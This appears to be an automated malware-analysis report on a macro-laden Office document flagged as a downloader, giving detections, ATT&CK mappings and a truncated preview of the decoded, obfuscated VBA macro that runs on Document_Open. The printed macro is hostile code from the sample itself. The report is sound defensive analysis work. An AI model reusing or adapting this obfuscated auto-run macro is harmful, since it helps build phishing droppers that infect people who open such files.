MALICIOUS
122
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is a Microsoft Office document containing VBA macros, specifically a Document_Open macro, which is a common technique for initiating malicious actions upon opening. The ClamAV heuristic identifies it as a downloader. The VBA script, while heavily obfuscated, appears to be designed to download and execute a second-stage payload, indicated by the presence of macro functions and variable names suggesting code execution and network activity. The primary IOC is the file's SHA256 hash.
Heuristics 4
-
ClamAV: Doc.Downloader.Macro-6539595-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Macro-6539595-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 13901 bytes |
SHA-256: c3baae0e4abff44cd8833b064935d819584c3e94646b1fb84186bbc7e4b05ac9 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub acyclic()
Dim scowling As Variant
Dim nacre As Long
arrest.anastrophy.Value = Day(#12/5/2013#)
varday = di = "belle"
projectionist = "ruler"
bathyergus = bronchia
basaltic = "yip"
latin = "bayonne"
coaptation = "gleaning"
destroyed = "napoli"
drippy = "firmly"
Set whittuesday = arrest.anastrophy.SelectedItem
future = 46 + 43
Pmt 0, future, 10662, 46945, 7
having = whittuesday.Name
chalcididae = 61 - 5 + 7788
couturier = Right(having, chalcididae)
corset = considerately.castles(couturier)
aevi = 25 + 57
Pmt 0, aevi, 4765, 11066, 3
shabbiness = "diatribe"
regenerate = maenad
#If (62 - 82 + 420 + 79 - 112 + 333) > ((123 - 77 + 274) - (124 - 25 + 441) * 1) And ((96 - 63 - 5) - (52 - 14 - 10)) * 2 < (Win64) Then
Dim defoliant As Long
Dim occlusion As LongPtr
Dim amercement As LongPtr
Dim celibate As String
#ElseIf (17 - 119 + 502 + 126 - 106 + 280) > ((30 - 103 + 393) - (53 - 104 + 591) * 1) And Not ((75 - 95 + 48) - (122 - 21 - 73)) * 2 < (Win64) Then
Dim caretta As Long
Dim amercement As Long
Dim anticipate As Long
Dim occlusion As Long
#End If
appreciation = 54 - 128 + 74
catwalk = "tympani"
fescennine = additional
counting = 115 - 81 + 4062
clonic = 11 + 25
Pmt 0, clonic, 6777, 34719, 2
tamaricaceae = "vestrywoman"
brood = "battle"
madderwort = 4 + 55
Pmt 0, madderwort, 16687, 18336, 6
vindicating = corset
hydric = "bulrush"
amnesia = "bennettitales"
occlusion = godown(vindicating)
sociolinguist = "gelatinousness"
bettor = "inflict"
#If (77 - 52 + 375 + 99 - 100 + 301) > ((72 - 77 + 325) - (63 - 90 + 567) * 1) And ((72 - 126 + 82) - (49 - 47 + 26)) * 2 < (Win64) Then
Dim epanaphora As Variant
Dim unsuitability As LongPtr
Dim tamarin As LongPtr
Dim chlorococcales As LongPtr
sulcate = 13 - 64 + 2115
#ElseIf (14 - 116 + 502 + 29 - 79 + 350) > ((79 - 34 + 275) - (37 - 37 + 540) * 1) And Not ((81 - 90 + 37) - (123 - 7 - 88)) * 2 < (Win64) Then
Dim unsuitability As Long
almandite = 56 - 46 + 771
Dim tamarin As Long
Dim chlorococcales As Long
sulcate = almandite + 3459
#End If
Dim fisher As Integer
Dim consomme As Variant
unsuitability = 61 - 46 - 15
amercement = occlusion + sulcate
tamarin = 110 - 23 + 201440
chlorococcales = 36 - 116 + 3580
masonry = assay(tamarin, unsuitability, amercement, unsuitability, unsuitability, unsuitability, unsuitability)
cyperus = 9 + 41
Pmt 0, cyperus, 7806, 19861, 2
End Sub
Sub tableSel()
Dim tempTable
Documents("Log.doc").Tables(1).Select
Set tempTable = Selection.Tables(1).Range
tempRange.Tables(2).Select
End Sub
Private Sub Document_Open()
Dim skeptical As Long
Dim shininess As String
appurtenant = "meliphagidae"
acyclic
elation = 37 + 50
Pmt 0, elation, 22833, 34257, 2
End Sub
Function marionette(beefy, crimson, missend)
Dim laminectomy As Long
Dim bakshish As String
Dim triakidae As Long
Dim civics As Integer
Dim arbitrament As Long
Dim powered As String
Dim isopod As Long
Dim sleeved As Variant
Dim inactively As Long
Dim uncertified As Byte
Dim fauces As Integer
antepenultimate = "angledozer"
antepenultimate = "minstrel"
laminectomy = beefy
inactively = missend
recluse = keener
arbitrament = crimson
mocassin = 29 + 46
Pmt 0, mocassin, 20427, 37359, 2
apostrophe = "ampulla"
triakidae = 84 - 115 + 30
courser ByVal triakidae, laminectomy, arbitrament, inactively, isopod
antepenultimate = "indocile"
End Function
Function protectively(jest, crocodylus, picturesqueness)
Dim hegemonic As Variant
Dim soberminded As Byte
Dim debtor As LongPtr
Dim machilidae As LongPtr
Dim nonlexically As LongPtr
Dim detrude As Byte
Dim meningioma As LongPtr
Dim thill As LongPtr
recluse = "cookfire"
recluse = "boof"
machilidae = jest
thill = picturesqueness
antepenult
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.